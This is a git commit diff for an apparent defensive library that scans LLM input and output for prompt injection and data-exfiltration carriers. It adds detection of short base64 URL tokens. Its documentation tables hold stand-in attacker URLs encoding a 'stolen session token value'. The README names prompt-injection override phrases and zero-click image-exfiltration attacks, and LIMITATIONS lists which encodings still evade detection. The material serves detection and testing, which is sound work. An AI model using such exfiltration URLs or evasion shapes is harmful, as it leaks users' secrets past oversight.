feat(active): grade a short URL token that base64-decodes to text as carrying
Gap 6 closed. _is_opaque has a fourth branch for host labels and path segments of 8-19 chars (calibration.URL_SHORT_B64_MIN_LEN). It fires when the token is alphanumeric, not 1 mod 4, not itself a word, and its base64 plaintext reads as text: only letters, digits, space and . , : @ _ - + / ! ? ' =, at least 80% letters/digits/spaces (URL_SHORT_B64_TEXT_SHARE), and no lowercase-to-uppercase seam.  is now HIGH; a link with it MEDIUM. "Printable" alone fired on Pygments, a Norwegian path word and a JSON size parameter. Each condition removes a measured twin (Pygments, aktuelle, Slovenly, {"w":200}, PT00M01S, endsWith). Measured before building, with the shipped tokenizer: 0 of 22,725 URLs in the 3,583 clean documents and 577 package READMEs, 0 of 530,625 dictionary words, 9 of 336,122 identifiers and prose tokens (all real base64 of text). Recall 32 of 35. Measured before and after on the same trees: all 4,160 documents are byte-identical under both presets (disposition, labels, severity, count, offset); OKF import stays 47/31; positive control WARN -> FAIL_SECURE. is_ordinary_url about 4 us slower per URL; 1M-char worst case unchanged. 26 new tests (attacks red first), 11 of 11 mutations red. Matrix 147/147 + 4/4 gaps, suite 1300 passed, ReDoS sweep 173 patterns, 0 flags on the new.
This commit is contained in:
parent
6cf0eb1263
commit
7430d7855a
SSH key fingerprint:
SHA256:JakMjO6FTBBzN0Bhfj9saOoEjaFxlSdYuZQQpM/lF9Q
14 changed files with 350 additions and 50 deletions
40
CHANGELOG.md
40
CHANGELOG.md
|
|
@ -5,6 +5,46 @@ All notable changes to this project will be documented in this file.
|
|||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
### Added — a short URL token that base64-decodes to text carries data (gap 6 closed)
|
||||
|
||||
`` ("hello world" in base64) used to grade
|
||||
LOW, as an image that only names a document. The opacity test had a base64 branch
|
||||
from 20 characters and an entropy branch from 24, and entropy cannot tell a short
|
||||
token from a name. A fourth branch now decodes host labels and path segments of 8
|
||||
to 19 characters and calls the URL carrying when the plaintext reads as text, so
|
||||
the image keeps its full severity (HIGH; a link stays MEDIUM).
|
||||
|
||||
"Decodes to printable bytes" was not enough: ordinary words do that by chance
|
||||
(`Pygments` decodes to `?(&z{l`). The branch fires only when all of these hold:
|
||||
- the token is alphanumeric, its length is not 1 more than a multiple of 4, and it
|
||||
is not a word (`[A-Z]?[a-z]+` or `[A-Z]+`);
|
||||
- the plaintext uses only letters, digits, space and `. , : @ _ - + / ! ? ' =`;
|
||||
- at least 80% of it is letters, digits or spaces;
|
||||
- it has no lowercase letter followed by an uppercase one (decoded camelCase
|
||||
identifiers look like that: `endsWith` decodes to `zwlZ+a`).
|
||||
|
||||
The floors are `calibration.URL_SHORT_B64_MIN_LEN = 8` and
|
||||
`calibration.URL_SHORT_B64_TEXT_SHARE = 0.8`. `docs/URL-SHAPE.md` has the branch and
|
||||
six new worked examples, all asserted against the code.
|
||||
|
||||
Documented gap 6 is closed: the coverage matrix asserts it as caught (the
|
||||
`short-opaque` case, which also checks that a word of the same length stays LOW),
|
||||
and `tests/test_gap_register.py` records it. What still passes is in LIMITATIONS: a
|
||||
token under 8 characters, a plaintext with other characters (`Tr0ub4dor&3`, JSON),
|
||||
a camelCase plaintext, a payload that is not base64, and a value split into tokens
|
||||
under 8 characters. On 35 short attack plaintexts the branch catches 32.
|
||||
|
||||
**If you gate on `active:*` severities:** a URL with such a token now grades as
|
||||
carrying. Nothing else moved. Measured before and after on the same trees: every
|
||||
one of the 3,583 clean documents (the three false-positive populations and the 78
|
||||
pinned OKF concepts) and 577 package READMEs keeps its disposition under both
|
||||
presets and the same labels, severities, counts and offsets. Import of the pinned
|
||||
OKF corpus is unchanged at 47 fail-secure / 31 warn. Before building, the rule fired
|
||||
on none of their 22,725 URLs, on none of 530,625 dictionary words, and on 9 of
|
||||
336,122 identifiers and prose tokens, all 9 real base64 of text.
|
||||
|
||||
## [1.10.0] — 2026-11-01
|
||||
|
||||
### Added — the output gate decodes hex-wrapped credentials (gap 1 closed)
|
||||
|
|
|
|||
|
|
@ -100,7 +100,13 @@ summeres ikke, så `count` er en nedre grense. `count` når aldri disposisjonen.
|
|||
**Heks-innpakket hemmelighet (1.10.0):** utgangsporten dekoder heks-løp på minst 32
|
||||
tegn (begge byte-justeringer, minst 80 % skrivbart, samme hjelper som base64) og
|
||||
kjører BARE hemmelighetsmønstrene på klarteksten (`decoded:egress:*`, beviset sier
|
||||
`hex run`). Hull 1 er lukket, og hull 6 er det eneste åpne. ReDoS-sveipet teller 169.
|
||||
`hex run`). Hull 1 er lukket. ReDoS-sveipet teller 169.
|
||||
**Korte URL-ledd (1.11.0):** en fjerde gren i `_is_opaque` dekoder tokener på 8–19
|
||||
tegn. Den fyrer bare når tokenet ikke er et ord og klarteksten leses som tekst: bare
|
||||
lesbare tegn, minst 80 % bokstaver, sifre eller mellomrom, og ingen skjøt fra liten
|
||||
til stor bokstav. Hver betingelse fjerner en målt tvilling (`Pygments`, en
|
||||
JSON-størrelse, `PT00M01S`, `endsWith`, `Slovenly`). Hull 6 er lukket, så 1, 4 og 6
|
||||
er lukket, og 2, 3, 5 og 7 står med målt begrunnelse. ReDoS-sveipet teller 173.
|
||||
Start med `docs/BRIEF.md` for design, `README.md` for bruk, `docs/PLAN.md` for
|
||||
byggerekkefølgen.
|
||||
|
||||
|
|
|
|||
16
README.md
16
README.md
|
|
@ -210,14 +210,14 @@ driven by a **live payload** in the coverage matrix — run it to watch all 151
|
|||
in your own environment:
|
||||
|
||||
```bash
|
||||
python -m llm_ingestion_guard.coverage # 146/146 classes; exit 0 = all as documented
|
||||
python -m llm_ingestion_guard.coverage # 147/147 classes; exit 0 = all as documented
|
||||
```
|
||||
|
||||
| Anchor | Attack classes it stops (representative) |
|
||||
|---|---|
|
||||
| **LLM01:2026 · prompt injection** | 83 instruction-override lexicon classes (ignore / forget / disregard / suspend-constraints, role-play, jailbreak, …); hidden carriers — every invisible codepoint in Unicode 18.0 (zero-width, BIDI override, Unicode-tag, variation-selector and Sneaky-Bits smuggling, private use; legitimate emoji, CJK, Arabic-script, Indic and right-to-left uses exempt on context), HTML-comment, `data:` URI — stripped on input **and** re-checked at the persist gate (a comment the model leaves in its artifact is reported unless it sits in code); text hidden by styling — a font too small to read, or text coloured like its own background; high-entropy base64/hex blobs; an injection hidden inside a base64 blob (decoded, then re-scanned); an instruction in plain prose whose paragraph combines two of: it speaks to the model, it is meant to act later, it writes to the model's memory, it hides from the user |
|
||||
| **LLM02:2026 · sensitive-info disclosure** | Secret egress in output — AWS keys, tokens, private keys, the credential set; a base64- or hex-*wrapped* secret (decoded → `decoded:egress:*`) |
|
||||
| **LLM10:2026 · improper output handling** | Zero-click exfil carriers (EchoLeak, CVE-2025-32711) — markdown-image auto-fetch, inline / reference / autolink links, raw active HTML, standalone `data:` URIs; a run of images whose *order* carries a value while each URL is ordinary (CamoLeak) |
|
||||
| **LLM10:2026 · improper output handling** | Zero-click exfil carriers (EchoLeak, CVE-2025-32711) — markdown-image auto-fetch, inline / reference / autolink links, raw active HTML, standalone `data:` URIs; a URL whose path or host carries an encoded value, down to a base64 token of 8 characters; a run of images whose *order* carries a value while each URL is ordinary (CamoLeak) |
|
||||
| **LLM03:2026 · excessive agency** | A tool surface on the quarantined transform; credential use beyond the per-stage allowlist; capability isolation (`scoped_env`) |
|
||||
| **Fail-secure** *(the guard's own failure semantics)* | Forced-fallback attack (scan hit + transform failure → halt); compound weak-signal escalation; an un-scannable artifact fails **closed** — never a silent persist |
|
||||
| **OKF structure (T1–T6)** | Body + frontmatter-value injection; YAML anchor / merge / nested / block DoS (parse-safety); non-`https` / active-scheme `resource` URLs and the `resource` allowlist; path traversal / reserved-name shadow; cross-link graph; provenance stamping |
|
||||
|
|
@ -314,11 +314,13 @@ a green scan means safe content. The highest-impact items:
|
|||
only *names* a remote document is LOW; one that can carry a value outward keeps
|
||||
HIGH/MEDIUM. The conceded hole: a bare-path image on a hostile host still *fetches*
|
||||
when rendered, so pure beaconing (reader IP, timing) is not graded.
|
||||
- **Five documented gaps** the coverage matrix keeps honest: semantic poisoning,
|
||||
an unmarked plain-prose task, trusted-prose lone-HIGH, pure beaconing, and short
|
||||
opaque URL segments. Four of them carry a measured reason: the cheapest rule that
|
||||
was tried, and the false alarms it cost. Two of the seven frozen on 2026-11-01 are
|
||||
closed: lexicon dedup (`count=1`) in 1.9.0 and hex-wrapped secret egress in 1.10.0.
|
||||
- **Four documented gaps** the coverage matrix keeps honest: semantic poisoning,
|
||||
an unmarked plain-prose task, trusted-prose lone-HIGH and pure beaconing. Each
|
||||
carries a measured reason: the cheapest rule that was tried, and the false alarms
|
||||
it cost. Three of the seven frozen on 2026-11-01 are closed: lexicon dedup
|
||||
(`count=1`) in 1.9.0, hex-wrapped secret egress in 1.10.0 and short opaque URL
|
||||
segments in 1.11.0. A short URL segment is caught only when its base64 plaintext
|
||||
reads as text; tokens under 8 characters and other encodings still pass.
|
||||
- **The upload door is a review queue, not an auto-persist path — measured.** On
|
||||
three benign document populations, `PRESET_USER_UPLOAD` disposed **98 of 185**
|
||||
(53.0%), **88 of 547** (16.1%) and **133 of 389** (34.2%) documents to something
|
||||
|
|
|
|||
|
|
@ -142,9 +142,9 @@ live payload:
|
|||
python -m llm_ingestion_guard.coverage # exit 0 = all as documented
|
||||
```
|
||||
|
||||
As of `v1.10.0`: **146 / 146 defended classes demonstrated (recall 100%)** and **5 /
|
||||
5 documented gaps still hold** (a *closed* gap fails the test, forcing a doc
|
||||
update). The matrix is the single source of truth for the test suite (**1274
|
||||
As of `v1.10.0`: **147 / 147 defended classes demonstrated (recall 100%)** and **4 /
|
||||
4 documented gaps still hold** (a *closed* gap fails the test, forcing a doc
|
||||
update). The matrix is the single source of truth for the test suite (**1300
|
||||
passing**), which also asserts total recall, that every lexicon pattern has a
|
||||
case (so the matrix cannot fall behind the lexicon), the full LLM02:2026 secret-egress
|
||||
set, and the container-layer front-end (CSV formula-injection, zip-slip/bomb,
|
||||
|
|
|
|||
|
|
@ -257,13 +257,22 @@ items; this is the full list, each with the mechanism.
|
|||
renderer touches it, leaking reader IP, user-agent and timing. Grading the fetch
|
||||
itself would re-block every ordinary document, which is precisely the 0.3.0
|
||||
regression this replaced — so beaconing is conceded, not covered.
|
||||
- **Short opaque URL segments slip through the same grading.** Opacity is decided by
|
||||
`entropy`'s primitives: base64 that decodes to text (≥20 chars), a hex id
|
||||
(≥32 chars), or Shannon entropy ≥4.4 at ≥24 chars. A shorter payload segment —
|
||||
`https://evil.test/aGVsbG8gd29ybGQ` — cannot be told from a name, because entropy
|
||||
is bounded by `log2(length)` at short lengths. Mitigation in depth, not in this
|
||||
detector: a literal credential in a URL is still caught by the LLM02:2026 egress
|
||||
patterns in the same `scan_output` pass, whatever severity the carrier gets.
|
||||
- **A short URL segment is caught only when its base64 plaintext reads as text.**
|
||||
Opacity is decided by base64 that decodes to text (≥20 chars), a hex id (≥32
|
||||
chars), Shannon entropy ≥4.4 at ≥24 chars, and since 1.11.0 a short-text branch
|
||||
for tokens of 8 to 19 characters (`docs/URL-SHAPE.md`). Entropy cannot tell a
|
||||
short token from a name, so the short branch decodes it and asks more of the
|
||||
plaintext than "printable": the token must not be a word, and the plaintext must
|
||||
use only letters, digits, space and `. , : @ _ - + / ! ? ' =`, be at least 80%
|
||||
letters, digits or spaces, and have no lowercase letter followed by an uppercase
|
||||
one. What still passes as ordinary: a token under 8 characters (5 bytes or less,
|
||||
such as `aGVsbG8` for "hello"); a plaintext with other characters (`Tr0ub4dor&3`,
|
||||
JSON); a camelCase plaintext (`JohnSmith`); a payload that is not base64 at all
|
||||
(hex under 32 characters, a custom alphabet, a lookup id the attacker's server
|
||||
maps back); and a value split into tokens of fewer than 8 characters each. On 35 short attack
|
||||
plaintexts the branch catches 32. Mitigation in depth, not in this detector: a
|
||||
literal credential in a URL is still caught by the LLM02:2026 egress patterns in
|
||||
the same `scan_output` pass, whatever severity the carrier gets.
|
||||
- **A value carried by the order of images is caught only when each symbol is short
|
||||
and the run shares one URL template.** Since 1.7.0
|
||||
`active:markdown-image-sequence` (MEDIUM) reports a run of at least 4 ordinary
|
||||
|
|
@ -689,7 +698,7 @@ items; this is the full list, each with the mechanism.
|
|||
missed; on one preset it is held for review instead of halted.
|
||||
|
||||
- **The ReDoS sweep has a measured sensitivity floor, not a clean bill of
|
||||
health.** All 169 compiled patterns across all eleven regex-bearing modules are
|
||||
health.** All 173 compiled patterns across all eleven regex-bearing modules are
|
||||
swept arm by arm — payloads synthesised per run from each pattern's own
|
||||
skeleton, so `[`, `[system]` and `[system](` are each probed separately rather
|
||||
than relying on generic units, and each pattern is timed in the call mode the
|
||||
|
|
@ -847,11 +856,15 @@ were measured too.
|
|||
the 3,583, but that measurement is blind: none of them holds an external image.
|
||||
On the 569 READMEs it fires on 52 and would stop **23** of the 211 that pass
|
||||
today. The fetch itself is what an ordinary README does.
|
||||
6. **Short opaque URL segment (<24 chars)** — below what entropy can resolve (above).
|
||||
Open. The cheapest rule (a segment of 8 to 23 characters that base64-decodes to at
|
||||
least 6 printable bytes) fired on 4 of 14,943 README URLs, among them a size
|
||||
parameter in an image URL and the word "Pygments". It has to demand more of the
|
||||
decoded text and be measured again before it is built.
|
||||
6. **Short opaque URL segment (<24 chars)** — **closed in 1.11.0.** A URL token of
|
||||
8 to 19 characters is opaque when its base64 plaintext reads as text (see "A short
|
||||
URL segment is caught only when..." above). The first rule tried, "decodes to at
|
||||
least 6 printable bytes", fired on the word `Pygments`, a Norwegian path word and
|
||||
a JSON size parameter. The rule as built fires on none of the 7,525 URLs in the
|
||||
3,583 documents or the 15,200 in 577 package READMEs (the README population
|
||||
rebuilt on 2026-11-01; it was 569 in session 1). Measured as built: all 4,160
|
||||
documents keep their disposition under both presets, and every finding keeps its
|
||||
label, severity, `count` and offset.
|
||||
7. **Unmarked prose task (toxic agent flow, A12)** — no address, deferral, memory or
|
||||
concealment to read (above). **Measured reason:** a rule for "gather it from
|
||||
private places" gave **6** new alarms. Adding "and put it into this document" in
|
||||
|
|
|
|||
64
docs/PLAN.md
64
docs/PLAN.md
|
|
@ -326,6 +326,70 @@ ikke (en base64-innpakket gjør det). Det står i LIMITATIONS.
|
|||
- **Rad 2:** hull 1 og 4 er lukket, og 2, 3, 5 og 7 står med målt begrunnelse. Hull 6
|
||||
er åpent og neste: regelen må kreve mer av klarteksten og måles på nytt (§ V.6).
|
||||
|
||||
## V.10 Økt 5, hull 6 lukket (01.11.2026, release 1.11.0)
|
||||
|
||||
**Hull 6 (kort ugjennomsiktig URL-ledd):** `_is_opaque` har en fjerde gren,
|
||||
`_is_short_text_base64`, for tokener på 8–19 tegn (`calibration.URL_SHORT_B64_MIN_LEN`).
|
||||
Den fyrer når tokenet er alfanumerisk, lengden ikke gir rest 1 ved deling på 4, tokenet
|
||||
ikke er et ord (`[A-Z]?[a-z]+` eller `[A-Z]+`), og klarteksten er ASCII med bare
|
||||
bokstaver, sifre, mellomrom og `. , : @ _ - + / ! ? ' =`, minst 80 % bokstaver, sifre
|
||||
eller mellomrom (`URL_SHORT_B64_TEXT_SHARE`), og ingen liten bokstav fulgt av stor.
|
||||
Matrisesaken `short-opaque` står som fanget og sjekker også at et ord med samme lengde
|
||||
forblir LOW. `CLOSED` har nå `short-opaque`.
|
||||
|
||||
**Målt før bygging, med bibliotekets egen tokenisering.** Session 1-regelens
|
||||
tokenisering var en annen. Med den som faktisk brukes, ga «skrivbart» 3 treff: `aktuelle` i
|
||||
referansekorpuset (`jKnzY^`, ikke sett i økt 1), `Pygments` og Patreons `{"w":200}`.
|
||||
GitHubs `package_id` var et resultat av den andre tokeniseringen. Kandidatene ble målt
|
||||
token for token:
|
||||
|
||||
| Krav til klarteksten | 3 583 dok. + 577 README (22 725 URL-er) | Ordbok, 530 625 (små, Stor, STORE) | Identifikatorer og prosa, 336 122 | Fangst, 35 angrep |
|
||||
|---|---|---|---|---|
|
||||
| skrivbart (økt 1) | 3 | 254 | 125 | 35 |
|
||||
| lesbart alfabet | 0 | 101 | 27 (18 søppel) | 34 |
|
||||
| + ikke et ord + ≥ 80 % + ingen skjøt (bygget) | **0** | **0** | **9, alle ekte base64 av tekst** | **32** |
|
||||
|
||||
Hver betingelse fjerner en målt tvilling: ordtesten `Pygments`, `aktuelle` og
|
||||
`Slovenly` (`JZ/zyr`, som består alle krav til klarteksten), alfabetet `{"w":200}`,
|
||||
andelen `PT00M01S` (`==43MR`), og skjøten `endsWith` (`zwlZ+a`, en MDN-adresse).
|
||||
De tre bommene er `Tr0ub4dor&3` (`&`), `JohnSmith` og «OpenAI key» (skjøt).
|
||||
Base64 av skrivbar ASCII har `+` eller `/` bare når tredje byte i en trippel er `>`,
|
||||
`?` eller `~` (sjekket for alle 857 375 tripler), så tokeniseringen splitter sjelden
|
||||
et angrepstoken.
|
||||
|
||||
**README-populasjonen** er 577 i dag, bygget på samme måte (`node_modules`-README-er
|
||||
og `dist-info/METADATA` under repo-mappa, deduplisert på sha256). 569 fra økt 1 ble
|
||||
ikke gjenskapt. Grunnlinjen er gjenskapt eksakt med `docs/gap-sweep.py`: 106/198 ·
|
||||
196/2918 · 108/389 · 0/78, og README 359/577 ikke-WARN.
|
||||
|
||||
- **TDD:** 26 nye tester: 7 angrep, 11 tvillinger, 1 med to begrensninger, 1
|
||||
kalibrering og 6 nye eksempler i URL-SHAPE (matrisesaken bytter bare status). De 7
|
||||
angrepene, kalibreringen og matrisesaken var røde av riktig grunn (LOW, manglende
|
||||
konstant). Tvillingene holdt fra start. URL-SHAPE-eksemplene ble skrevet etter koden.
|
||||
Identifikatorene ble høstet på nytt etter byggingen og var da 336 122 (336 112
|
||||
under kandidatmålingen, fordi andre repoer endret seg). Den bygde koden gir 9 på dem. Mutasjonssjekk 11 av 11
|
||||
røde (hver betingelse fjernet, gulv 7 og 9, andel 0,6 og 0,9, grenen fjernet). To
|
||||
overlevde først (ordtesten og alfanumerisk-testen), og fikk hver sin tvilling.
|
||||
- **Vaktregelen:** før og etter på samme trær (HEAD og arbeidstreet, frosset). Alle 4 160
|
||||
dokumenter (3 583 + 577) har samme disposisjon under begge forhåndsinnstillingene og
|
||||
samme etiketter, alvorlighetsgrader, `count` og offset: utdataene er identiske byte
|
||||
for byte. OKF-importen står på 47/31. Positiv kontroll: et rent README med
|
||||
angrepsbildet lagt til går fra WARN til FAIL_SECURE etter, og forblir WARN før.
|
||||
- **Ytelse:** maskinen hadde belastningssnitt rundt 43 (andre økter), så regelen om å
|
||||
måle uten annen last kunne ikke holdes. Relativt, vekselvis, tre runder:
|
||||
`is_ordinary_url` over de 22 725 URL-ene ×5 tok 2,46/2,21/2,36 s før og
|
||||
2,78/2,86/2,80 s etter (rundt 4 µs per URL). `scan_output` over de 389 svinger
|
||||
57–101 s og gir ingen lesbar forskjell. Verste tilfelle ved taket på 1 000 000 tegn
|
||||
(40 slike tokener per bilde): 6,57/6,46 s før, 6,27/6,22 s etter. Lineært fra 25 000
|
||||
til 100 000 tegn.
|
||||
- **ReDoS:** sveipet teller 173 mønstre (nytt: `_ALNUM_TOKEN_RE`, `_WORD_TOKEN_RE`,
|
||||
`_READABLE_TEXT_RE`, `_CASE_SEAM_RE`). To kjøringer ga 5 og 4 tidsflagg, alle på
|
||||
uendrede mønstre, og 0 på de nye. Exit 0.
|
||||
- **Vakten:** kjørt på nytt, 16 current, bare `lastRun` endret.
|
||||
- **Rad 2:** hull 1, 4 og 6 er lukket, og 2, 3, 5 og 7 står med målt begrunnelse.
|
||||
Alle sju er avgjort. Sluttmålingen (§ V.3) gjenstår: rad 1 venter på sju dager
|
||||
med ukentlige kjøringer hos llm-security.
|
||||
|
||||
## Forrige retning (godkjent av operatøren 28.10.2026, nådd 31.10)
|
||||
|
||||
> «llm-ingestion-guard bygger på nyeste utgave av hver trusselkatalog den viser til,
|
||||
|
|
|
|||
|
|
@ -48,16 +48,25 @@ hyphenated filename shatters into short tokens. Note also what is *not* in it:
|
|||
`%` is not a separator, so a percent-escaped path yields *longer* tokens than the
|
||||
same path with literal spaces.
|
||||
|
||||
A token is **opaque** if any of three branches fires — cheapest first:
|
||||
A token is **opaque** if any of four branches fires — cheapest first:
|
||||
|
||||
| Branch | Floor | Test |
|
||||
|---|---|---|
|
||||
| base64 | **≥ 20 chars** | matches `[A-Za-z0-9+/]{20,}={0,3}` **and** b64-decodes to ≥80% printable text |
|
||||
| hex | **≥ 32 chars** | matches `(?:0x)?[0-9a-fA-F]{32,}` |
|
||||
| entropy | **≥ 24 chars** | Shannon entropy ≥ **4.4** |
|
||||
| short base64 text (1.11.0) | **≥ 8 chars** | all of: alphanumeric, length not 1 mod 4, **not** a word (`[A-Z]?[a-z]+` or `[A-Z]+`), and the b64 plaintext is ASCII using only letters, digits, space and `. , : @ _ - + / ! ? ' =`, at least **80%** letters, digits or spaces, with **no** lowercase letter followed by an uppercase one |
|
||||
|
||||
Every branch has a length floor. Nothing shorter than 20 characters can ever be
|
||||
opaque by any branch.
|
||||
Every branch has a length floor. Nothing shorter than 8 characters can ever be
|
||||
opaque by any branch, and below 20 only the short-text branch can fire.
|
||||
|
||||
The short-text branch is strict on purpose: ordinary words decode to printable
|
||||
bytes by chance (56 of 176,875 dictionary words of 8 to 19 letters, and `Pygments`
|
||||
to `?(&z{l`). Each
|
||||
condition removes a benign twin measured on 2026-11-01: the word test removes
|
||||
`Pygments` and `aktuelle`, the readable alphabet removes a JSON size parameter
|
||||
(`eyJ3IjoyMDB9` to `{"w":200}`), the 80% share removes `PT00M01S` (`==43MR`), and
|
||||
the seam test removes `endsWith` (`zwlZ+a`).
|
||||
|
||||
## Worked examples
|
||||
|
||||
|
|
@ -72,7 +81,7 @@ means "names a document" (LOW); `carrying` keeps the carrier's full severity.
|
|||
| `https://www.bbc.com/news/articles/c8x9k2m1l0po` | ordinary | 12 chars, under every floor |
|
||||
| `https://example.com/a/550e8400-e29b-41d4-a716-446655440000/doc` | ordinary | UUID splits on `-`; longest token 12 |
|
||||
| `https://example.com/docs/CISPE-Buying-Cloud-Services-in-Public-Sector-Handbook-v2-FEB-2022_EN-Source_v2_Norwegian.pdf` | ordinary | 16 tokens, longest 9, worst H=3.17 |
|
||||
| `https://ai.meta.com/blog/` | ordinary | `blog` is 4 chars — below the base64 floor |
|
||||
| `https://ai.meta.com/blog/` | ordinary | `blog` is 4 chars — below every floor |
|
||||
| `https://www.youtube.com/watch?v=dQw4w9WgXcQ` | carrying | non-empty query |
|
||||
| `https://claude.com/pricing?utm_source=docs` | carrying | non-empty query |
|
||||
| `https://learn.microsoft.com/azure/ai/overview?view=azureml-api-2` | carrying | non-empty query |
|
||||
|
|
@ -82,6 +91,12 @@ means "names a document" (LOW); `carrying` keeps the carrier's full severity.
|
|||
| `https://example.com/d41d8cd98f00b204e9800998ecf8427e` | carrying | 32-char hex token |
|
||||
| `https://evil.test/c3RvbGVuIHNlc3Npb24gdG9rZW4gdmFsdWU/p.png` | carrying | base64 decoding to text |
|
||||
| `https://c3RvbGVuIHNlc3Npb24gdG9rZW4gdmFsdWU.evil.test/p.png` | carrying | opaque host label |
|
||||
| `https://evil.test/aGVsbG8gd29ybGQ` | carrying | 15 chars, base64 of `hello world` |
|
||||
| `https://evil.test/Zm9vYmFy/p.png` | carrying | 8 chars, base64 of `foobar` |
|
||||
| `https://pypi.org/project/Pygments/` | ordinary | a word, whatever it decodes to |
|
||||
| `https://c10.patreonusercontent.com/3/eyJ3IjoyMDB9/patreon-media/p.png` | ordinary | decodes to `{"w":200}`, not readable text |
|
||||
| `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith` | ordinary | decodes to `zwlZ+a`, a case seam |
|
||||
| `https://evil.test/aGk/p.png` | ordinary | `hi` in base64, 3 chars, under every floor |
|
||||
| `ftp://example.com/pub/file.txt` | carrying | scheme gate |
|
||||
| `javascript:alert(1)` | carrying | scheme gate |
|
||||
|
||||
|
|
@ -96,7 +111,9 @@ Each of these produced a real, wrong number on a real corpus.
|
|||
- **Omitting the base64 length floor.** Testing "b64-decodes to printable text"
|
||||
without `len ≥ 20` fires on ordinary path words — `blog`, `digi` and `1544`
|
||||
decode to printable bytes, while `news` and `docs` do not, so the reconstruction
|
||||
appears to discriminate on something meaningful and does not.
|
||||
appears to discriminate on something meaningful and does not. Below 20 chars
|
||||
only the short-text branch applies, with its 8-char floor and all of its
|
||||
conditions on the plaintext; "printable" alone fired on `Pygments`.
|
||||
- **Omitting step 5 entirely.** Applying only "query or percent-escape" is
|
||||
*strictly weaker* than the real rule, so it undercounts carrying URLs. It can
|
||||
never overcount: every URL it calls carrying really is.
|
||||
|
|
|
|||
|
|
@ -111,7 +111,8 @@ The opacity test reuses ``entropy``'s primitives rather than inventing a second
|
|||
heuristic, and it is a *backstop*, not the main line of defence: a literal
|
||||
credential in a URL is caught by the secret-egress patterns in the same
|
||||
``scan_output`` pass regardless of the severity assigned here. The residual
|
||||
holes it leaves — pure beaconing, short opaque segments — are documented in
|
||||
holes it leaves — pure beaconing, and short tokens the short-text branch cannot
|
||||
read (under 8 chars, or a plaintext that is not text) — are documented in
|
||||
``docs/LIMITATIONS.md`` rather than papered over.
|
||||
|
||||
Scan order mirrors ``neutralize``'s pass order, with each matched construct
|
||||
|
|
@ -125,6 +126,7 @@ without recreating the affordance it flagged.
|
|||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import re
|
||||
from urllib.parse import urlsplit
|
||||
|
||||
|
|
@ -138,6 +140,8 @@ from .calibration import (
|
|||
URL_OPAQUE_ENTROPY_H as _OPAQUE_H,
|
||||
URL_OPAQUE_HEX_MIN_LEN as _OPAQUE_HEX_LEN,
|
||||
URL_OPAQUE_MIN_LEN as _OPAQUE_MIN_LEN,
|
||||
URL_SHORT_B64_MIN_LEN as _SHORT_B64_MIN_LEN,
|
||||
URL_SHORT_B64_TEXT_SHARE as _SHORT_B64_TEXT_SHARE,
|
||||
)
|
||||
from .entropy import is_hex_blob, shannon_entropy, try_decode_base64
|
||||
from . import _owasp
|
||||
|
|
@ -388,19 +392,63 @@ _ORDINARY_SCHEME_RE = re.compile(r"^(?:https?://|//)", re.IGNORECASE)
|
|||
_URL_TOKEN_RE = re.compile(r"[/._\-~+,;:=&$!*'()]+")
|
||||
|
||||
|
||||
# Short-token base64 (gap 6, 1.11.0). The tokenizer has already split on `+`, `/`,
|
||||
# `-`, `_` and `=`, so a token that can be base64 is plain alphanumeric. Base64 of
|
||||
# printable ASCII almost never holds `+` or `/` (only when the third byte of a
|
||||
# triple is `>`, `?` or `~`), so the split rarely breaks an attack token apart.
|
||||
_ALNUM_TOKEN_RE = re.compile(r"[A-Za-z0-9]+")
|
||||
# A token that is itself a word is a name, whatever its bytes decode to:
|
||||
# `Pygments` -> `?(&z{l`, `aktuelle` -> `jKnzY^`.
|
||||
_WORD_TOKEN_RE = re.compile(r"[A-Z]?[a-z]+|[A-Z]+")
|
||||
# What a short secret, name, address or number is written with. Braces, quotes
|
||||
# and the rest are left out: `{"w":200}` is a size parameter, not text.
|
||||
_READABLE_TEXT_RE = re.compile(r"[A-Za-z0-9 .,:@_\-+/!?'=]+")
|
||||
# A lowercase letter followed by an uppercase one: how decoded junk from a
|
||||
# camelCase identifier looks (`endsWith` -> `zwlZ+a`).
|
||||
_CASE_SEAM_RE = re.compile(r"[a-z][A-Z]")
|
||||
|
||||
|
||||
def _is_short_text_base64(token: str) -> bool:
|
||||
"""True if a short URL token base64-decodes to plaintext that reads as text.
|
||||
|
||||
The base64 branch of :func:`_is_opaque` starts at 20 chars and entropy cannot
|
||||
tell a 15-char token from a name, so ``evil.test/aGVsbG8gd29ybGQ`` ("hello
|
||||
world") was ordinary. Decoding to *printable* bytes is not enough: real path
|
||||
words do that by chance. The token must not be a word, and the plaintext must
|
||||
use readable characters only, be mostly letters, digits and spaces, and have no
|
||||
lowercase-to-uppercase seam. Above 20 chars the base64 branch already accepts
|
||||
everything this accepts, so this only changes short tokens.
|
||||
"""
|
||||
if len(token) < _SHORT_B64_MIN_LEN or len(token) % 4 == 1:
|
||||
return False
|
||||
if not _ALNUM_TOKEN_RE.fullmatch(token) or _WORD_TOKEN_RE.fullmatch(token):
|
||||
return False
|
||||
raw = base64.b64decode(token + "=" * (-len(token) % 4))
|
||||
try:
|
||||
text = raw.decode("ascii")
|
||||
except UnicodeDecodeError:
|
||||
return False
|
||||
if not _READABLE_TEXT_RE.fullmatch(text) or _CASE_SEAM_RE.search(text):
|
||||
return False
|
||||
readable = sum(1 for ch in text if ch.isalnum() or ch == " ")
|
||||
return readable >= _SHORT_B64_TEXT_SHARE * len(text)
|
||||
|
||||
|
||||
def _is_opaque(token: str) -> bool:
|
||||
"""True if a URL token looks like carried data rather than a name.
|
||||
|
||||
Three reused ``entropy`` signals, cheapest first: base64 that decodes to
|
||||
printable text (the encoding an exfil path actually uses), a hex id at the
|
||||
URL-token floor, and — as a backstop for random-looking tokens that are
|
||||
neither — length-paired Shannon entropy.
|
||||
Four signals, cheapest first: base64 that decodes to printable text (the
|
||||
encoding an exfil path actually uses), a hex id at the URL-token floor,
|
||||
length-paired Shannon entropy as a backstop for random-looking tokens that
|
||||
are neither, and a short token whose base64 plaintext reads as text.
|
||||
"""
|
||||
if try_decode_base64(token) is not None:
|
||||
return True
|
||||
if len(token) >= _OPAQUE_HEX_LEN and is_hex_blob(token):
|
||||
return True
|
||||
return len(token) >= _OPAQUE_MIN_LEN and shannon_entropy(token) >= _OPAQUE_H
|
||||
